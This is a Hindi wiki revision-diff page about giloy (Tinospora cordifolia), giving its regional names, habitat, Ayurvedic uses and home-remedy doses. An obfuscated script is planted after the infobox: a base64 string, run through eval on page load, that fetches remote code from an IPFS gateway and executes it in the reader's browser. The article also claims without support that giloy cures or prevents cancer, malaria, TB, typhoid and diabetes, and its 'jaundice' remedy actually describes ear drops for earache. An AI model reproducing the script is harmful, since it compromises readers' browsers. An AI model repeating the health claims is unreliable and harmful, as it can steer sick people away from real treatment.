"गिलोय" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
पंक्ति 1: पंक्ति 1:
 +
{{सूचना बक्सा वृक्ष
 +
|चित्र=Giloy-3.jpg
 +
|चित्र का नाम=गिलोय
 +
|जगत=पादप (Plantae)
 +
|उपजगत=
 +
|संघ=मैग्नोलियोफाइटा (Magnoliophyta)
 +
|वर्ग= मैग्नोलियोप्सीडा (Magnoliopsida)
 +
|उप-वर्ग=
 +
|गण=
 +
|उपगण=
 +
|अधिकुल=
 +
|कुल=मेनिस्पर्मियेसी (Menispermaceae)
 +
|जाति=टीनोस्पोरा (Tinospora)
 +
|प्रजाति=कार्डीफोलिया (cordifolia)
 +
|द्विपद नाम=टीनोस्पोरा कार्डीफोलिया (Tinospora (Tinospora))
 +
|संबंधित लेख=
 +
|शीर्षक 1=
 +
|पाठ 1=
 +
|शीर्षक 2=
 +
|पाठ 2=
 +
|अन्य जानकारी=
 +
|बाहरी कड़ियाँ=
 +
|अद्यतन=
 +
}}
 
'''गिलोय''' एक ऐसी लता है जो [[भारत]] में सवर्त्र पैदा होती है। [[नीम]] के पेड़ पर चढ़ी गिलोय औषधि के रूप में प्राप्त करने में बेहद प्रभाव शाली है। अमृत तुल्य उपयोगी होने के कारण इसे [[आयुर्वेद]] में अमृता नाम दिया गया है। ऊंगली जैसी मोटी धूसर [[रंग]] की अत्यधिक पुरानी लता औषधि के रूप में प्रयोग  होती है।
 
'''गिलोय''' एक ऐसी लता है जो [[भारत]] में सवर्त्र पैदा होती है। [[नीम]] के पेड़ पर चढ़ी गिलोय औषधि के रूप में प्राप्त करने में बेहद प्रभाव शाली है। अमृत तुल्य उपयोगी होने के कारण इसे [[आयुर्वेद]] में अमृता नाम दिया गया है। ऊंगली जैसी मोटी धूसर [[रंग]] की अत्यधिक पुरानी लता औषधि के रूप में प्रयोग  होती है।
 
==अन्य नाम==
 
==अन्य नाम==
 
गिलोय का वैज्ञानिक नाम 'टीनोस्पोरा कार्डीफोलिया' (Tinospora cordifolia) है। इसे [[अंग्रेज़ी]] में गुलंच कहते हैं। [[कन्नड़ भाषा|कन्नड़]] में अमरदवल्ली, [[गुजराती भाषा|गुजराती]] में गालो, [[मराठी भाषा|मराठी]] में गुलबेल, [[तेलुगू भाषा|तेलुगू ]] में गोधुची, तिप्प्तिगा, [[फारसी भाषा|फारसी]] में गिलाई, [[तमिल भाषा|तमिल]] में शिन्दिल्कोदी आदि नामों से जाना जाता है। गिलोय में ग्लुकोसाइन, गिलो इन, गिलोइनिन, गिलोस्तेराल तथा बर्बेरिन नामक एल्केलाइड पाये जाते हैं।<ref name="VHP">{{cite web |url=http://vaidikhealthtips.blogspot.in/2013_04_01_archive.html |title= कैंसर के इलाज में गिलोय के चमत्कार |accessmonthday=22 जून |accessyear= |last= |first= |authorlink= |format= |publisher=Vaidic Health Tips |language=हिंदी }} </ref>
 
गिलोय का वैज्ञानिक नाम 'टीनोस्पोरा कार्डीफोलिया' (Tinospora cordifolia) है। इसे [[अंग्रेज़ी]] में गुलंच कहते हैं। [[कन्नड़ भाषा|कन्नड़]] में अमरदवल्ली, [[गुजराती भाषा|गुजराती]] में गालो, [[मराठी भाषा|मराठी]] में गुलबेल, [[तेलुगू भाषा|तेलुगू ]] में गोधुची, तिप्प्तिगा, [[फारसी भाषा|फारसी]] में गिलाई, [[तमिल भाषा|तमिल]] में शिन्दिल्कोदी आदि नामों से जाना जाता है। गिलोय में ग्लुकोसाइन, गिलो इन, गिलोइनिन, गिलोस्तेराल तथा बर्बेरिन नामक एल्केलाइड पाये जाते हैं।<ref name="VHP">{{cite web |url=http://vaidikhealthtips.blogspot.in/2013_04_01_archive.html |title= कैंसर के इलाज में गिलोय के चमत्कार |accessmonthday=22 जून |accessyear= |last= |first= |authorlink= |format= |publisher=Vaidic Health Tips |language=हिंदी }} </ref>
 
==प्राप्ति स्थान==
 
==प्राप्ति स्थान==
यदि आपके घर के आस-पास नीम का पेड़ हो तो आप वहां गिलोय बो सकते हैं। नीम पर चढी हुई गिलोय उसी का गुड अवशोषित कर लेती है, इस कारण आयुर्वेद में वही गिलोय श्रेष्ठ मानी गई है जिसकी बेल नीम पर चढी हुई हो। गिलोय हमारे यहां लगभग सभी जगह पायी जाती है। यह स्वयं भी नहीं मरती है और उसे भी मरने से बचाती है, जो इसका प्रयोग करे। कहा जाता है की [[देवासुर संग्राम|देव-दानवों के युद्ध]] में अमृत कलश की बूँदें जहाँ जहाँ पड़ीं, वहां वहां गिलोय उग गई। यह मैदानों, सड़कों के किनारे, जंगल, पार्क, बाग-बगीचों, पेड़ों-झाड़ियों और दीवारों पर लिपटी हुई दिख जाती है। इसकी बेल बड़ी तेजी से बढ़ती है। इसके पत्ते [[पान]] की तरह बड़े आकार के [[हरा रंग|हरे रंग]] के होते हैं। [[गर्मी]] के मौसम में आने वाले इसके [[फूल]] छोटे गुच्छों में होते हैं और इसके फल [[मटर]] जैसे अण्डाकार, चिकने गुच्छों में लगते हैं जो बाद में पकने पर [[लाल रंग]] के हो जाते हैं। गिलोय के बीज [[सफ़ेद रंग]] के होते हैं। जमीन या गमले में इसकी बेल का एक छोटा सा टुकड़ा लगाने पर भी यह उग जाती है और बड़ी तेज गति से स्वछन्द रूप से बढ़ती जाती है और जल्दी ही बहुत लम्बी हो जाती है।<ref name="VHP"/>
+
यदि आपके घर के आस-पास नीम का पेड़ हो तो आप वहां गिलोय बो सकते हैं। नीम पर चढी हुई गिलोय उसी का गुड अवशोषित कर लेती है, इस कारण आयुर्वेद में वही गिलोय श्रेष्ठ मानी गई है जिसकी बेल नीम पर चढी हुई हो। गिलोय हमारे यहां लगभग सभी जगह पायी जाती है। यह स्वयं भी नहीं मरती है और उसे भी मरने से बचाती है, जो इसका प्रयोग करे। कहा जाता है की [[देवासुर संग्राम|देव-दानवों के युद्ध]] में अमृत कलश की बूँदें जहाँ जहाँ पड़ीं, वहां वहां गिलोय उग गई। यह मैदानों, सड़कों के किनारे, जंगल, पार्क, बाग-बगीचों, पेड़ों-झाड़ियों और दीवारों पर लिपटी हुई दिख जाती है। इसकी बेल बड़ी तेजी से बढ़ती है। इसके पत्ते [[पान]] की तरह बड़े आकार के [[हरा रंग|हरे रंग]] के होते हैं। [[गर्मी]] के मौसम में आने वाले इसके [[फूल]] छोटे गुच्छों में होते हैं और इसके फल [[मटर]] जैसे अण्डाकार, चिकने गुच्छों में लगते हैं जो बाद में पकने पर [[लाल रंग]] के हो जाते हैं। गिलोय के बीज [[सफ़ेद रंग]] के होते हैं। जमीन या गमले में इसकी बेल का एक छोटा सा टुकड़ा लगाने पर भी यह उग जाती है और बड़ी तेज गति से स्वछन्द रूप से बढ़ती जाती है और जल्दी ही बहुत लम्बी हो जाती है।<ref name="VHP"/>[[चित्र:Giloy.JPG|thumb|left|गिलोय लता (बेल) की शाखाएँ]]
 
==अमृत के समान गिलोय==
 
==अमृत के समान गिलोय==
 
गिलोय को अमृता, गड़ूची, मधुपर्जी आदि अनेक नामों से भी जाना जाता है। कुछ तीखे कड़वे स्वाद वाली गिलोय देशभर में पायी जाती है। आयुर्वेद में इसका महत्वपूर्ण स्थान है। [[चरक|आचार्य चरक]] ने गिलोय को वात दोष हरने वाली श्रेष्ठ औषधि माना है। वैसे इसका त्रिदोष हरने वाली, रक्तशोधक, रोग प्रतिरोधक क्षमता बढ़ाने वाली, ज्वर नाशक, खांसी मिटाने वाली प्राकृतिक औषधि के रूप में खूब उपयोग किया जाता है। टाइफायड, मलेरिया, कालाजार, [[डेंगू]], एलीफेंटिएसिस, विषम ज्वर, उल्टी, बेहोशी, कफ, पीलिया, धाते विकार, यकृत निष्क्रियता, तिल्ली बढ़ना, सिफलिस, एलर्जी सहित अन्य त्वचा विकार, झाइयां, झुर्रियां, कुष्ठ आदि में गिलोय का सेवन आश्चर्यजनक परिणाम देता है। यह शरीर में [[इंसुलिन]] उत्पादन क्षमता बढ़ाती है। रोगों से लड़ने, उन्हें मिटाने और रोगी में शक्ति के संचरण में यह अपनी विशिष्ट भूमिका निभाती है। सचमुच यह प्राकृतिक ‘कुनैन’ है। इसका नियमित प्रयोग सभी प्रकार के बुखार, फ्लू, पेट कृमि, रक्त विकार, निम्न रक्तचाप, हृदय दौर्बल्य, क्षय (टीबी), मूत्र रोग, एलर्जी, उदर रोग, [[मधुमेह]], चर्म रोग आदि अनेक व्याधियों से बचाता है। गिलोय भूख भी बढ़ाती है। इसकी तासीर गर्म होती है। एक बार में गिलोय की लगभग 20 ग्राम मात्रा ली जा सकती है। इसके सेवन के बारे में किसी योग्य व्यक्ति या वैद्य या किसी अच्छी पुस्तक से जानकारी ली जा सकती है। दीर्घायु प्रदान करने वाली अमृत तुल्य गिलोय और [[गेहूं]] के ज्वारे के रस के साथ [[तुलसी]] के 7 पत्ते तथा नीम के पत्ते खाने से कैंसर जैसे रोग में भी लाभ होता है। गिलोय और पुनर्नवा मिर्गी में लाभप्रद होती है। इसे आवश्यकतानुसार अकेले या अन्य औषधियों के साथ दिया जाता है। अनेक रोगों में इसे पशुओं के रोगों में भी दिया जाता है।<ref>{{cite web |url=http://vaidikhealthtips.blogspot.in/2013_04_01_archive.html |title= अमृत के समान मानी जाती है गिलोय |accessmonthday=22 जून |accessyear= |last= |first= |authorlink= |format= |publisher= वेब वार्ता |language=हिंदी }} </ref>
 
गिलोय को अमृता, गड़ूची, मधुपर्जी आदि अनेक नामों से भी जाना जाता है। कुछ तीखे कड़वे स्वाद वाली गिलोय देशभर में पायी जाती है। आयुर्वेद में इसका महत्वपूर्ण स्थान है। [[चरक|आचार्य चरक]] ने गिलोय को वात दोष हरने वाली श्रेष्ठ औषधि माना है। वैसे इसका त्रिदोष हरने वाली, रक्तशोधक, रोग प्रतिरोधक क्षमता बढ़ाने वाली, ज्वर नाशक, खांसी मिटाने वाली प्राकृतिक औषधि के रूप में खूब उपयोग किया जाता है। टाइफायड, मलेरिया, कालाजार, [[डेंगू]], एलीफेंटिएसिस, विषम ज्वर, उल्टी, बेहोशी, कफ, पीलिया, धाते विकार, यकृत निष्क्रियता, तिल्ली बढ़ना, सिफलिस, एलर्जी सहित अन्य त्वचा विकार, झाइयां, झुर्रियां, कुष्ठ आदि में गिलोय का सेवन आश्चर्यजनक परिणाम देता है। यह शरीर में [[इंसुलिन]] उत्पादन क्षमता बढ़ाती है। रोगों से लड़ने, उन्हें मिटाने और रोगी में शक्ति के संचरण में यह अपनी विशिष्ट भूमिका निभाती है। सचमुच यह प्राकृतिक ‘कुनैन’ है। इसका नियमित प्रयोग सभी प्रकार के बुखार, फ्लू, पेट कृमि, रक्त विकार, निम्न रक्तचाप, हृदय दौर्बल्य, क्षय (टीबी), मूत्र रोग, एलर्जी, उदर रोग, [[मधुमेह]], चर्म रोग आदि अनेक व्याधियों से बचाता है। गिलोय भूख भी बढ़ाती है। इसकी तासीर गर्म होती है। एक बार में गिलोय की लगभग 20 ग्राम मात्रा ली जा सकती है। इसके सेवन के बारे में किसी योग्य व्यक्ति या वैद्य या किसी अच्छी पुस्तक से जानकारी ली जा सकती है। दीर्घायु प्रदान करने वाली अमृत तुल्य गिलोय और [[गेहूं]] के ज्वारे के रस के साथ [[तुलसी]] के 7 पत्ते तथा नीम के पत्ते खाने से कैंसर जैसे रोग में भी लाभ होता है। गिलोय और पुनर्नवा मिर्गी में लाभप्रद होती है। इसे आवश्यकतानुसार अकेले या अन्य औषधियों के साथ दिया जाता है। अनेक रोगों में इसे पशुओं के रोगों में भी दिया जाता है।<ref>{{cite web |url=http://vaidikhealthtips.blogspot.in/2013_04_01_archive.html |title= अमृत के समान मानी जाती है गिलोय |accessmonthday=22 जून |accessyear= |last= |first= |authorlink= |format= |publisher= वेब वार्ता |language=हिंदी }} </ref>
 
==गिलोय के औषधीय गुण==
 
==गिलोय के औषधीय गुण==
 +
[[चित्र:Geloy-2.JPG|thumb|गिलोय की लता फल के साथ]]
 
* औषधि की मात्रा- हरी ताजी गिलोय का रस 10 मिली. से 20 मिली  तक। गिलोय का चूर्ण 4-6 ग्राम तक, गिलोय का सत्व 1/2 ग्राम से 3 ग्राम तक।
 
* औषधि की मात्रा- हरी ताजी गिलोय का रस 10 मिली. से 20 मिली  तक। गिलोय का चूर्ण 4-6 ग्राम तक, गिलोय का सत्व 1/2 ग्राम से 3 ग्राम तक।
 
* ज्वर (सभी प्रकार के)- गिलोय के साथ [[धनिया]] [[नीम]] की छाल का आंतरिक भाग मिला कर काढ़ा बना लें। दिन में काढ़े की 2 बार सेवन करने से बुखार उतर जाएगा।
 
* ज्वर (सभी प्रकार के)- गिलोय के साथ [[धनिया]] [[नीम]] की छाल का आंतरिक भाग मिला कर काढ़ा बना लें। दिन में काढ़े की 2 बार सेवन करने से बुखार उतर जाएगा।

08:15, 22 जून 2013 का अवतरण

गिलोय
गिलोय
जगत पादप (Plantae)
संघ मैग्नोलियोफाइटा (Magnoliophyta)
वर्ग मैग्नोलियोप्सीडा (Magnoliopsida)
कुल मेनिस्पर्मियेसी (Menispermaceae)
जाति टीनोस्पोरा (Tinospora)
प्रजाति कार्डीफोलिया (cordifolia)
द्विपद नाम टीनोस्पोरा कार्डीफोलिया (Tinospora (Tinospora))

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

गिलोय एक ऐसी लता है जो भारत में सवर्त्र पैदा होती है। नीम के पेड़ पर चढ़ी गिलोय औषधि के रूप में प्राप्त करने में बेहद प्रभाव शाली है। अमृत तुल्य उपयोगी होने के कारण इसे आयुर्वेद में अमृता नाम दिया गया है। ऊंगली जैसी मोटी धूसर रंग की अत्यधिक पुरानी लता औषधि के रूप में प्रयोग होती है।

अन्य नाम

गिलोय का वैज्ञानिक नाम 'टीनोस्पोरा कार्डीफोलिया' (Tinospora cordifolia) है। इसे अंग्रेज़ी में गुलंच कहते हैं। कन्नड़ में अमरदवल्ली, गुजराती में गालो, मराठी में गुलबेल, तेलुगू में गोधुची, तिप्प्तिगा, फारसी में गिलाई, तमिल में शिन्दिल्कोदी आदि नामों से जाना जाता है। गिलोय में ग्लुकोसाइन, गिलो इन, गिलोइनिन, गिलोस्तेराल तथा बर्बेरिन नामक एल्केलाइड पाये जाते हैं।[1]

प्राप्ति स्थान

यदि आपके घर के आस-पास नीम का पेड़ हो तो आप वहां गिलोय बो सकते हैं। नीम पर चढी हुई गिलोय उसी का गुड अवशोषित कर लेती है, इस कारण आयुर्वेद में वही गिलोय श्रेष्ठ मानी गई है जिसकी बेल नीम पर चढी हुई हो। गिलोय हमारे यहां लगभग सभी जगह पायी जाती है। यह स्वयं भी नहीं मरती है और उसे भी मरने से बचाती है, जो इसका प्रयोग करे। कहा जाता है की देव-दानवों के युद्ध में अमृत कलश की बूँदें जहाँ जहाँ पड़ीं, वहां वहां गिलोय उग गई। यह मैदानों, सड़कों के किनारे, जंगल, पार्क, बाग-बगीचों, पेड़ों-झाड़ियों और दीवारों पर लिपटी हुई दिख जाती है। इसकी बेल बड़ी तेजी से बढ़ती है। इसके पत्ते पान की तरह बड़े आकार के हरे रंग के होते हैं। गर्मी के मौसम में आने वाले इसके फूल छोटे गुच्छों में होते हैं और इसके फल मटर जैसे अण्डाकार, चिकने गुच्छों में लगते हैं जो बाद में पकने पर लाल रंग के हो जाते हैं। गिलोय के बीज सफ़ेद रंग के होते हैं। जमीन या गमले में इसकी बेल का एक छोटा सा टुकड़ा लगाने पर भी यह उग जाती है और बड़ी तेज गति से स्वछन्द रूप से बढ़ती जाती है और जल्दी ही बहुत लम्बी हो जाती है।[1]

गिलोय लता (बेल) की शाखाएँ

अमृत के समान गिलोय

गिलोय को अमृता, गड़ूची, मधुपर्जी आदि अनेक नामों से भी जाना जाता है। कुछ तीखे कड़वे स्वाद वाली गिलोय देशभर में पायी जाती है। आयुर्वेद में इसका महत्वपूर्ण स्थान है। आचार्य चरक ने गिलोय को वात दोष हरने वाली श्रेष्ठ औषधि माना है। वैसे इसका त्रिदोष हरने वाली, रक्तशोधक, रोग प्रतिरोधक क्षमता बढ़ाने वाली, ज्वर नाशक, खांसी मिटाने वाली प्राकृतिक औषधि के रूप में खूब उपयोग किया जाता है। टाइफायड, मलेरिया, कालाजार, डेंगू, एलीफेंटिएसिस, विषम ज्वर, उल्टी, बेहोशी, कफ, पीलिया, धाते विकार, यकृत निष्क्रियता, तिल्ली बढ़ना, सिफलिस, एलर्जी सहित अन्य त्वचा विकार, झाइयां, झुर्रियां, कुष्ठ आदि में गिलोय का सेवन आश्चर्यजनक परिणाम देता है। यह शरीर में इंसुलिन उत्पादन क्षमता बढ़ाती है। रोगों से लड़ने, उन्हें मिटाने और रोगी में शक्ति के संचरण में यह अपनी विशिष्ट भूमिका निभाती है। सचमुच यह प्राकृतिक ‘कुनैन’ है। इसका नियमित प्रयोग सभी प्रकार के बुखार, फ्लू, पेट कृमि, रक्त विकार, निम्न रक्तचाप, हृदय दौर्बल्य, क्षय (टीबी), मूत्र रोग, एलर्जी, उदर रोग, मधुमेह, चर्म रोग आदि अनेक व्याधियों से बचाता है। गिलोय भूख भी बढ़ाती है। इसकी तासीर गर्म होती है। एक बार में गिलोय की लगभग 20 ग्राम मात्रा ली जा सकती है। इसके सेवन के बारे में किसी योग्य व्यक्ति या वैद्य या किसी अच्छी पुस्तक से जानकारी ली जा सकती है। दीर्घायु प्रदान करने वाली अमृत तुल्य गिलोय और गेहूं के ज्वारे के रस के साथ तुलसी के 7 पत्ते तथा नीम के पत्ते खाने से कैंसर जैसे रोग में भी लाभ होता है। गिलोय और पुनर्नवा मिर्गी में लाभप्रद होती है। इसे आवश्यकतानुसार अकेले या अन्य औषधियों के साथ दिया जाता है। अनेक रोगों में इसे पशुओं के रोगों में भी दिया जाता है।[2]

गिलोय के औषधीय गुण

गिलोय की लता फल के साथ
  • औषधि की मात्रा- हरी ताजी गिलोय का रस 10 मिली. से 20 मिली तक। गिलोय का चूर्ण 4-6 ग्राम तक, गिलोय का सत्व 1/2 ग्राम से 3 ग्राम तक।
  • ज्वर (सभी प्रकार के)- गिलोय के साथ धनिया नीम की छाल का आंतरिक भाग मिला कर काढ़ा बना लें। दिन में काढ़े की 2 बार सेवन करने से बुखार उतर जाएगा।
  • काला ज्वर- गिलोय के ताजे रस में शहद या मिस्री मिलाकर दिन में 3 बार देने से काला ज्वर में लाभ होता है।
  • प्रेमह में- गिलोय का रस शहद में 2 बार दिन में देने से लाभ होता है।
  • दृष्टि की कमजोरी- गिलोय का रस 10 मिली लीटर शहद या मिस्री के साथ सेवन कराएं लाभ होगा।
  • संधिवात में- गिलोय का काढ़ा बनाकर उसमें 5 मिली अरंडी का तेल मिलाकर सेवन करें। जटिल संधिवात दूर होगा।
  • रक्त विकारों में- खाज, खुजली, वातरक्त, इत्यादि रोगों में शुद्ध गुगुल के साथ देने से लाभ होता है।
  • हिचकी में- सोंठ और गिलोय का चूर्ण सुंघाएं। हिचकी दूर हो जाएगी।
  • पैरों के तलवों की जलन- गिलोय का चूर्ण, अरंडी का बीज पीस कर दही के साथ मिलाकर तलवों में लगाने से जलन मिट जाएगी।
  • कब्ज में- गिलोय का चूर्ण गुड़ के साथ सेवन करें। आराम मिलेगा।
  • पीलिया में- गिलोय को घिस कर पानी में मिला कर गुनगुना कर लें। फिर कान में टपकाएं। दर्द दूर होगी और कान की मैल भी साफ होगी।
  • गठिया- गिलोय का काढ़ा बनाकर पिलाने से गठिया का कष्ट मिटता है।
  • मूत्र विकार- गिलोय का काढ़ा पेशाव संबंधी कष्ट को भी दूर करता है।[3]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 कैंसर के इलाज में गिलोय के चमत्कार (हिंदी) Vaidic Health Tips। अभिगमन तिथि: 22 जून, ।
  2. अमृत के समान मानी जाती है गिलोय (हिंदी) वेब वार्ता। अभिगमन तिथि: 22 जून, ।
  3. गिलोय खाएं, इम्युनिटी बढ़ाएं (हिंदी) दिव्य हिमाचल। अभिगमन तिथि: 22 जून, ।

बाहरी कड़ियाँ

सम्बंधित लेख